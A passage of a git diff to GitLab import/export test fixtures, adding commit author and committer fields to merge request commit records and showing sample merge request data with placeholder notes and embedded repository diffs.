+ "name": "marmis85",
+ "email": "marmis85@gmail.com"
+ }
}
],
"merge_request_diff_files": [
@@ -4967,7 +5311,15 @@
"author_email": "james@jameslopez.es",
"committed_date": "2016-01-19T14:08:21.000+01:00",
"committer_name": "James Lopez",
- "committer_email": "james@jameslopez.es"
+ "committer_email": "james@jameslopez.es",
+ "commit_author": {
+ "name": "James Lopez",
+ "email": "james@jameslopez.es"
+ },
+ "committer": {
+ "name": "James Lopez",
+ "email": "james@jameslopez.es"
+ }
},
{
"merge_request_diff_id": 12,
@@ -4979,7 +5331,15 @@
"author_email": "marin@gitlab.com",
"committed_date": "2015-12-07T12:52:12.000+01:00",
"committer_name": "Marin Jankovski",
- "committer_email": "marin@gitlab.com"
+ "committer_email": "marin@gitlab.com",
+ "commit_author": {
+ "name": "Marin Jankovski",
+ "email": "marin@gitlab.com"
+ },
+ "committer": {
+ "name": "Marin Jankovski",
+ "email": "marin@gitlab.com"
+ }
},
{
"merge_request_diff_id": 12,
@@ -4991,7 +5351,15 @@
"author_email": "maxlazio@gmail.com",
"committed_date": "2015-12-07T11:54:28.000+01:00",
"committer_name": "Marin Jankovski",
- "committer_email": "maxlazio@gmail.com"
+ "committer_email": "maxlazio@gmail.com",
+ "commit_author": {
+ "name": "Marin Jankovski",
+ "email": "maxlazio@gmail.com"
+ },
+ "committer": {
+ "name": "Marin Jankovski",
+ "email": "maxlazio@gmail.com"
+ }
},
{
"merge_request_diff_id": 12,
@@ -5003,7 +5371,15 @@
"author_email": "stanhu@gmail.com",
"committed_date": "2015-11-13T16:27:12.000+01:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@gmail.com"
+ "committer_email": "stanhu@gmail.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ }
},
{
"merge_request_diff_id": 12,
@@ -5015,7 +5391,15 @@
"author_email": "stanhu@gmail.com",
"committed_date": "2015-11-13T08:50:17.000+01:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@gmail.com"
+ "committer_email": "stanhu@gmail.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ }
},
{
"merge_request_diff_id": 12,
@@ -5027,7 +5411,15 @@
"author_email": "stanhu@gmail.com",
"committed_date": "2015-11-13T08:39:43.000+01:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@gmail.com"
+ "committer_email": "stanhu@gmail.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ }
},
{
"merge_request_diff_id": 12,
@@ -5039,7 +5431,15 @@
"author_email": "stanhu@gmail.com",
"committed_date": "2015-11-13T07:21:40.000+01:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@gmail.com"
+ "committer_email": "stanhu@gmail.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ }
},
{
"merge_request_diff_id": 12,
@@ -5051,7 +5451,15 @@
"author_email": "minsik.yoon@samsung.com",
"committed_date": "2015-11-13T06:01:27.000+01:00",
"committer_name": "윤민ì‹",
- "committer_email": "minsik.yoon@samsung.com"
+ "committer_email": "minsik.yoon@samsung.com",
+ "commit_author": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ },
+ "committer": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ }
},
{
"merge_request_diff_id": 12,
@@ -5063,7 +5471,15 @@
"author_email": "minsik.yoon@samsung.com",
"committed_date": "2015-11-13T06:00:16.000+01:00",
"committer_name": "윤민ì‹",
- "committer_email": "minsik.yoon@samsung.com"
+ "committer_email": "minsik.yoon@samsung.com",
+ "commit_author": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ },
+ "committer": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ }
},
{
"merge_request_diff_id": 12,
@@ -5075,7 +5491,15 @@
"author_email": "stanhu@gmail.com",
"committed_date": "2015-11-13T05:23:14.000+01:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@gmail.com"
+ "committer_email": "stanhu@gmail.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ }
},
{
"merge_request_diff_id": 12,
@@ -5087,7 +5511,15 @@
"author_email": "minsik.yoon@samsung.com",
"committed_date": "2015-11-13T05:08:45.000+01:00",
"committer_name": "윤민ì‹",
- "committer_email": "minsik.yoon@samsung.com"
+ "committer_email": "minsik.yoon@samsung.com",
+ "commit_author": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ },
+ "committer": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ }
},
{
"merge_request_diff_id": 12,
@@ -5099,7 +5531,15 @@
"author_email": "minsik.yoon@samsung.com",
"committed_date": "2015-11-13T05:08:04.000+01:00",
"committer_name": "윤민ì‹",
- "committer_email": "minsik.yoon@samsung.com"
+ "committer_email": "minsik.yoon@samsung.com",
+ "commit_author": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ },
+ "committer": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ }
},
{
"merge_request_diff_id": 12,
@@ -5111,7 +5551,15 @@
"author_email": "stanhu@packetzoom.com",
"committed_date": "2015-08-25T17:53:12.000+02:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@packetzoom.com"
+ "committer_email": "stanhu@packetzoom.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@packetzoom.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@packetzoom.com"
+ }
}
],
"merge_request_diff_files": [
@@ -5675,7 +6123,15 @@
"author_email": "james@jameslopez.es",
"committed_date": "2016-01-19T14:43:23.000+01:00",
"committer_name": "James Lopez",
- "committer_email": "james@jameslopez.es"
+ "committer_email": "james@jameslopez.es",
+ "commit_author": {
+ "name": "James Lopez",
+ "email": "james@jameslopez.es"
+ },
+ "committer": {
+ "name": "James Lopez",
+ "email": "james@jameslopez.es"
+ }
},
{
"merge_request_diff_id": 10,
@@ -5687,7 +6143,15 @@
"author_email": "marin@gitlab.com",
"committed_date": "2015-12-07T12:52:12.000+01:00",
"committer_name": "Marin Jankovski",
- "committer_email": "marin@gitlab.com"
+ "committer_email": "marin@gitlab.com",
+ "commit_author": {
+ "name": "Marin Jankovski",
+ "email": "marin@gitlab.com"
+ },
+ "committer": {
+ "name": "Marin Jankovski",
+ "email": "marin@gitlab.com"
+ }
},
{
"merge_request_diff_id": 10,
@@ -5699,7 +6163,15 @@
"author_email": "maxlazio@gmail.com",
"committed_date": "2015-12-07T11:54:28.000+01:00",
"committer_name": "Marin Jankovski",
- "committer_email": "maxlazio@gmail.com"
+ "committer_email": "maxlazio@gmail.com",
+ "commit_author": {
+ "name": "Marin Jankovski",
+ "email": "maxlazio@gmail.com"
+ },
+ "committer": {
+ "name": "Marin Jankovski",
+ "email": "maxlazio@gmail.com"
+ }
},
{
"merge_request_diff_id": 10,
@@ -5711,7 +6183,15 @@
"author_email": "stanhu@gmail.com",
"committed_date": "2015-11-13T16:27:12.000+01:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@gmail.com"
+ "committer_email": "stanhu@gmail.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ }
},
{
"merge_request_diff_id": 10,
@@ -5723,7 +6203,15 @@
"author_email": "stanhu@gmail.com",
"committed_date": "2015-11-13T08:50:17.000+01:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@gmail.com"
+ "committer_email": "stanhu@gmail.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ }
},
{
"merge_request_diff_id": 10,
@@ -5735,7 +6223,15 @@
"author_email": "stanhu@gmail.com",
"committed_date": "2015-11-13T08:39:43.000+01:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@gmail.com"
+ "committer_email": "stanhu@gmail.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ }
},
{
"merge_request_diff_id": 10,
@@ -5747,7 +6243,15 @@
"author_email": "stanhu@gmail.com",
"committed_date": "2015-11-13T07:21:40.000+01:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@gmail.com"
+ "committer_email": "stanhu@gmail.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ }
},
{
"merge_request_diff_id": 10,
@@ -5759,7 +6263,15 @@
"author_email": "minsik.yoon@samsung.com",
"committed_date": "2015-11-13T06:01:27.000+01:00",
"committer_name": "윤민ì‹",
- "committer_email": "minsik.yoon@samsung.com"
+ "committer_email": "minsik.yoon@samsung.com",
+ "commit_author": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ },
+ "committer": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ }
},
{
"merge_request_diff_id": 10,
@@ -5771,7 +6283,15 @@
"author_email": "minsik.yoon@samsung.com",
"committed_date": "2015-11-13T06:00:16.000+01:00",
"committer_name": "윤민ì‹",
- "committer_email": "minsik.yoon@samsung.com"
+ "committer_email": "minsik.yoon@samsung.com",
+ "commit_author": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ },
+ "committer": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ }
},
{
"merge_request_diff_id": 10,
@@ -5783,7 +6303,15 @@
"author_email": "stanhu@gmail.com",
"committed_date": "2015-11-13T05:23:14.000+01:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@gmail.com"
+ "committer_email": "stanhu@gmail.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@gmail.com"
+ }
},
{
"merge_request_diff_id": 10,
@@ -5795,7 +6323,15 @@
"author_email": "minsik.yoon@samsung.com",
"committed_date": "2015-11-13T05:08:45.000+01:00",
"committer_name": "윤민ì‹",
- "committer_email": "minsik.yoon@samsung.com"
+ "committer_email": "minsik.yoon@samsung.com",
+ "commit_author": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ },
+ "committer": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ }
},
{
"merge_request_diff_id": 10,
@@ -5807,7 +6343,15 @@
"author_email": "minsik.yoon@samsung.com",
"committed_date": "2015-11-13T05:08:04.000+01:00",
"committer_name": "윤민ì‹",
- "committer_email": "minsik.yoon@samsung.com"
+ "committer_email": "minsik.yoon@samsung.com",
+ "commit_author": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ },
+ "committer": {
+ "name": "윤민ì‹",
+ "email": "minsik.yoon@samsung.com"
+ }
},
{
"merge_request_diff_id": 10,
@@ -5819,7 +6363,15 @@
"author_email": "stanhu@packetzoom.com",
"committed_date": "2015-08-25T17:53:12.000+02:00",
"committer_name": "Stan Hu",
- "committer_email": "stanhu@packetzoom.com"
+ "committer_email": "stanhu@packetzoom.com",
+ "commit_author": {
+ "name": "Stan Hu",
+ "email": "stanhu@packetzoom.com"
+ },
+ "committer": {
+ "name": "Stan Hu",
+ "email": "stanhu@packetzoom.com"
+ }
},
{
"merge_request_diff_id": 10,
@@ -5831,7 +6383,15 @@
"author_email": "sytse@gitlab.com",
"committed_date": "2015-01-10T22:23:29.000+01:00",
"committer_name": "Sytse Sijbrandij",
- "committer_email": "sytse@gitlab.com"
+ "committer_email": "sytse@gitlab.com",
+ "commit_author": {
+ "name": "Sytse Sijbrandij",
+ "email": "sytse@gitlab.com"
+ },
+ "committer": {
+ "name": "Sytse Sijbrandij",
+ "email": "sytse@gitlab.com"
+ }
},
{
"merge_request_diff_id": 10,
@@ -5843,7 +6403,15 @@
"author_email": "marmis85@gmail.com",
"committed_date": "2015-01-10T21:28:18.000+01:00",
"committer_name": "marmis85",
- "committer_email": "marmis85@gmail.com"
+ "committer_email": "marmis85@gmail.com",
+ "commit_author": {
+ "name": "marmis85",
+ "email": "marmis85@gmail.com"
+ },
+ "committer": {
+ "name": "marmis85",
+ "email": "marmis85@gmail.com"
+ }
},
{
"merge_request_diff_id": 10,
@@ -5855,7 +6423,15 @@
"author_email": "dmitriy.zaporozhets@gmail.com",
"committed_date": "2014-02-27T10:01:38.000+01:00",
"committer_name": "Dmitriy Zaporozhets",
- "committer_email": "dmitriy.zaporozhets@gmail.com"
+ "committer_email": "dmitriy.zaporozhets@gmail.com",
+ "commit_author": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ },
+ "committer": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ }
},
{
"merge_request_diff_id": 10,
@@ -5867,7 +6443,15 @@
"author_email": "dmitriy.zaporozhets@gmail.com",
"committed_date": "2014-02-27T09:57:31.000+01:00",
"committer_name": "Dmitriy Zaporozhets",
- "committer_email": "dmitriy.zaporozhets@gmail.com"
+ "committer_email": "dmitriy.zaporozhets@gmail.com",
+ "commit_author": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ },
+ "committer": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ }
},
{
"merge_request_diff_id": 10,
@@ -5879,7 +6463,15 @@
"author_email": "dmitriy.zaporozhets@gmail.com",
"committed_date": "2014-02-27T09:54:21.000+01:00",
"committer_name": "Dmitriy Zaporozhets",
- "committer_email": "dmitriy.zaporozhets@gmail.com"
+ "committer_email": "dmitriy.zaporozhets@gmail.com",
+ "commit_author": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ },
+ "committer": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ }
},
{
"merge_request_diff_id": 10,
@@ -5891,7 +6483,15 @@
"author_email": "dmitriy.zaporozhets@gmail.com",
"committed_date": "2014-02-27T09:49:50.000+01:00",
"committer_name": "Dmitriy Zaporozhets",
- "committer_email": "dmitriy.zaporozhets@gmail.com"
+ "committer_email": "dmitriy.zaporozhets@gmail.com",
+ "commit_author": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ },
+ "committer": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ }
},
{
"merge_request_diff_id": 10,
@@ -5903,7 +6503,15 @@
"author_email": "dmitriy.zaporozhets@gmail.com",
"committed_date": "2014-02-27T09:48:32.000+01:00",
"committer_name": "Dmitriy Zaporozhets",
- "committer_email": "dmitriy.zaporozhets@gmail.com"
+ "committer_email": "dmitriy.zaporozhets@gmail.com",
+ "commit_author": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ },
+ "committer": {
+ "name": "Dmitriy Zaporozhets",
+ "email": "dmitriy.zaporozhets@gmail.com"
+ }
}
],
"merge_request_diff_files": [
@@ -6348,7 +6956,15 @@
"author_email": "james@jameslopez.es",
"committed_date": "2016-01-19T15:44:02.000+01:00",
"committer_name": "James Lopez",
- "committer_email": "james@jameslopez.es"
+ "committer_email": "james@jameslopez.es",
+ "commit_author": {
+ "name": "James Lopez",
+ "email": "james@jameslopez.es"
+ },
+ "committer": {
+ "name": "James Lopez",
+ "email": "james@jameslopez.es"
+ }
}
],
"merge_request_diff_files": [
diff --git a/spec/fixtures/lib/gitlab/import_export/complex/tree/project/merge_requests.ndjson b/spec/fixtures/lib/gitlab/import_export/complex/tree/project/merge_requests.ndjson
index 3687c005b96..741360c0b8e 100644
--- a/spec/fixtures/lib/gitlab/import_export/complex/tree/project/merge_requests.ndjson
+++ b/spec/fixtures/lib/gitlab/import_export/complex/tree/project/merge_requests.ndjson
@@ -1,9 +1,9 @@
-{"id":27,"target_branch":"feature","source_branch":"feature_conflict","source_project_id":2147483547,"author_id":1,"assignee_id":null,"title":"MR1","created_at":"2016-06-14T15:02:36.568Z","updated_at":"2016-06-14T15:02:56.815Z","state":"opened","merge_status":"unchecked","target_project_id":5,"iid":9,"description":null,"position":0,"updated_by_id":null,"merge_error":null,"diff_head_sha":"HEAD","source_branch_sha":"ABCD","target_branch_sha":"DCBA","merge_params":{"force_remove_source_branch":null},"merge_when_pipeline_succeeds":true,"merge_user_id":null,"merge_commit_sha":null,"notes":[{"id":669,"note":"added 3 commits\n\n<ul><li>16ea4e20...074a2a32 - 2 commits from branch <code>master</code></li><li>ca223a02 - readme: fix typos</li></ul>\n\n[Compare with previous version](/group/project/merge_requests/1/diffs?diff_id=1189&start_sha=16ea4e207fb258fe4e9c73185a725207c9a4f3e1)","noteable_type":"MergeRequest","author_id":26,"created_at":"2020-03-28T12:47:33.461Z","updated_at":"2020-03-28T12:47:33.461Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"system":true,"st_diff":null,"updated_by_id":null,"position":null,"original_position":null,"resolved_at":null,"resolved_by_id":null,"discussion_id":null,"change_position":null,"resolved_by_push":null,"confidential":null,"type":null,"author":{"name":"User 4"},"award_emoji":[],"system_note_metadata":{"id":4789,"commit_count":3,"action":"commit","created_at":"2020-03-28T12:47:33.461Z","updated_at":"2020-03-28T12:47:33.461Z"},"events":[],"suggestions":[]},{"id":670,"note":"unmarked as a **Work In Progress**","noteable_type":"MergeRequest","author_id":26,"created_at":"2020-03-28T12:48:36.951Z","updated_at":"2020-03-28T12:48:36.951Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"system":true,"st_diff":null,"updated_by_id":null,"position":null,"original_position":null,"resolved_at":null,"resolved_by_id":null,"discussion_id":null,"change_position":null,"resolved_by_push":null,"confidential":null,"type":null,"author":{"name":"User 4"},"award_emoji":[],"system_note_metadata":{"id":4790,"commit_count":null,"action":"title","created_at":"2020-03-28T12:48:36.951Z","updated_at":"2020-03-28T12:48:36.951Z"},"events":[],"suggestions":[]},{"id":671,"note":"Sit voluptatibus eveniet architecto quidem.","note_html":"<p>something else entirely</p>","cached_markdown_version":917504,"noteable_type":"MergeRequest","author_id":26,"created_at":"2016-06-14T15:02:56.632Z","updated_at":"2016-06-14T15:02:56.632Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":27,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 4"},"events":[],"award_emoji":[{"id":1,"name":"tada","user_id":1,"awardable_type":"Note","awardable_id":1,"created_at":"2019-11-05T15:37:21.287Z","updated_at":"2019-11-05T15:37:21.287Z"}]},{"id":672,"note":"Odio maxime ratione voluptatibus sed.","noteable_type":"MergeRequest","author_id":25,"created_at":"2016-06-14T15:02:56.656Z","updated_at":"2016-06-14T15:02:56.656Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":27,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 3"},"events":[]},{"id":673,"note":"Et deserunt et omnis nihil excepturi accusantium.","noteable_type":"MergeRequest","author_id":22,"created_at":"2016-06-14T15:02:56.679Z","updated_at":"2016-06-14T15:02:56.679Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":27,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 0"},"events":[]},{"id":674,"note":"Saepe asperiores exercitationem non dignissimos laborum reiciendis et ipsum.","noteable_type":"MergeRequest","author_id":20,"created_at":"2016-06-14T15:02:56.700Z","updated_at":"2016-06-14T15:02:56.700Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":27,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ottis Schuster II"},"events":[],"suggestions":[{"id":1,"note_id":674,"relative_order":0,"applied":false,"commit_id":null,"from_content":"Original line\n","to_content":"New line\n","lines_above":0,"lines_below":0,"outdated":false}]},{"id":675,"note":"Numquam est at dolor quo et sed eligendi similique.","noteable_type":"MergeRequest","author_id":16,"created_at":"2016-06-14T15:02:56.720Z","updated_at":"2016-06-14T15:02:56.720Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":27,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Rhett Emmerich IV"},"events":[]},{"id":676,"note":"Et perferendis aliquam sunt nisi labore delectus.","noteable_type":"MergeRequest","author_id":15,"created_at":"2016-06-14T15:02:56.742Z","updated_at":"2016-06-14T15:02:56.742Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":27,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Burdette Bernier"},"events":[]},{"id":677,"note":"Aut ex rerum et in.","noteable_type":"MergeRequest","author_id":6,"created_at":"2016-06-14T15:02:56.791Z","updated_at":"2016-06-14T15:02:56.791Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":27,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ari Wintheiser"},"events":[]},{"id":678,"note":"Dolor laborum earum ut exercitationem.","noteable_type":"MergeRequest","author_id":1,"created_at":"2016-06-14T15:02:56.814Z","updated_at":"2016-06-14T15:02:56.814Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":27,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Administrator"},"events":[]}],"resource_label_events":[{"id":243,"action":"add","issue_id":null,"merge_request_id":27,"label_id":null,"user_id":1,"created_at":"2018-08-28T08:24:00.494Z"}],"merge_request_diff":{"id":27,"state":"collected","merge_request_diff_commits":[{"merge_request_diff_id":27,"relative_order":0,"sha":"bb5206fee213d983da88c47f9cf4cc6caf9c66dc","message":"Feature conflict added\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-08-06T08:35:52.000+02:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-08-06T08:35:52.000+02:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com"},{"merge_request_diff_id":27,"relative_order":1,"sha":"5937ac0a7beb003549fc5fd26fc247adbce4a52e","message":"Add submodule from gitlab.com\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T10:01:38.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T10:01:38.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com"},{"merge_request_diff_id":27,"relative_order":2,"sha":"570e7b2abdd848b95f2f578043fc23bd6f6fd24d","message":"Change some files\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:57:31.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:57:31.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com"},{"merge_request_diff_id":27,"relative_order":3,"sha":"6f6d7e7ed97bb5f0054f2b1df789b39ca89b6ff9","message":"More submodules\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:54:21.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:54:21.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com"},{"merge_request_diff_id":27,"relative_order":4,"sha":"d14d6c0abdd253381df51a723d58691b2ee1ab08","message":"Remove ds_store files\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:49:50.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:49:50.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com"},{"merge_request_diff_id":27,"relative_order":5,"sha":"c1acaa58bbcbc3eafe538cb8274ba387047b69f8","message":"Ignore DS files\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:48:32.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:48:32.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com"}],"merge_request_diff_files":[{"merge_request_diff_id":27,"relative_order":0,"utf8_diff":"Binary files a/.DS_Store and /dev/null differ\n","new_path":".DS_Store","old_path":".DS_Store","a_mode":"100644","b_mode":"0","new_file":false,"renamed_file":false,"deleted_file":true,"too_large":false},{"merge_request_diff_id":27,"relative_order":1,"utf8_diff":"--- a/.gitignore\n+++ b/.gitignore\n@@ -17,3 +17,4 @@ rerun.txt\n pickle-email-*.html\n .project\n config/initializers/secret_token.rb\n+.DS_Store\n","new_path":".gitignore","old_path":".gitignore","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":27,"relative_order":2,"utf8_diff":"--- a/.gitmodules\n+++ b/.gitmodules\n@@ -1,3 +1,9 @@\n [submodule \"six\"]\n \tpath = six\n \turl = git://github.com/randx/six.git\n+[submodule \"gitlab-shell\"]\n+\tpath = gitlab-shell\n+\turl = https://github.com/gitlabhq/gitlab-shell.git\n+[submodule \"gitlab-grack\"]\n+\tpath = gitlab-grack\n+\turl = https://gitlab.com/gitlab-org/gitlab-grack.git\n","new_path":".gitmodules","old_path":".gitmodules","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":27,"relative_order":3,"utf8_diff":"Binary files a/files/.DS_Store and /dev/null differ\n","new_path":"files/.DS_Store","old_path":"files/.DS_Store","a_mode":"100644","b_mode":"0","new_file":false,"renamed_file":false,"deleted_file":true,"too_large":false},{"merge_request_diff_id":27,"relative_order":4,"utf8_diff":"--- /dev/null\n+++ b/files/ruby/feature.rb\n@@ -0,0 +1,4 @@\n+# This file was changed in feature branch\n+# We put different code here to make merge conflict\n+class Conflict\n+end\n","new_path":"files/ruby/feature.rb","old_path":"files/ruby/feature.rb","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":27,"relative_order":5,"utf8_diff":"--- a/files/ruby/popen.rb\n+++ b/files/ruby/popen.rb\n@@ -6,12 +6,18 @@ module Popen\n \n def popen(cmd, path=nil)\n unless cmd.is_a?(Array)\n- raise \"System commands must be given as an array of strings\"\n+ raise RuntimeError, \"System commands must be given as an array of strings\"\n end\n \n path ||= Dir.pwd\n- vars = { \"PWD\" => path }\n- options = { chdir: path }\n+\n+ vars = {\n+ \"PWD\" => path\n+ }\n+\n+ options = {\n+ chdir: path\n+ }\n \n unless File.directory?(path)\n FileUtils.mkdir_p(path)\n@@ -19,6 +25,7 @@ module Popen\n \n @cmd_output = \"\"\n @cmd_status = 0\n+\n Open3.popen3(vars, *cmd, options) do |stdin, stdout, stderr, wait_thr|\n @cmd_output << stdout.read\n @cmd_output << stderr.read\n","new_path":"files/ruby/popen.rb","old_path":"files/ruby/popen.rb","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":27,"relative_order":6,"utf8_diff":"--- a/files/ruby/regex.rb\n+++ b/files/ruby/regex.rb\n@@ -19,14 +19,12 @@ module Gitlab\n end\n \n def archive_formats_regex\n- #|zip|tar| tar.gz | tar.bz2 |\n- /(zip|tar|tar\\.gz|tgz|gz|tar\\.bz2|tbz|tbz2|tb2|bz2)/\n+ /(zip|tar|7z|tar\\.gz|tgz|gz|tar\\.bz2|tbz|tbz2|tb2|bz2)/\n end\n \n def git_reference_regex\n # Valid git ref regex, see:\n # https://www.kernel.org/pub/software/scm/git/docs/git-check-ref-format.html\n-\n %r{\n (?!\n (?# doesn't begins with)\n","new_path":"files/ruby/regex.rb","old_path":"files/ruby/regex.rb","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":27,"relative_order":7,"utf8_diff":"--- /dev/null\n+++ b/gitlab-grack\n@@ -0,0 +1 @@\n+Subproject commit 645f6c4c82fd3f5e06f67134450a570b795e55a6\n","new_path":"gitlab-grack","old_path":"gitlab-grack","a_mode":"0","b_mode":"160000","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":27,"relative_order":8,"utf8_diff":"--- /dev/null\n+++ b/gitlab-shell\n@@ -0,0 +1 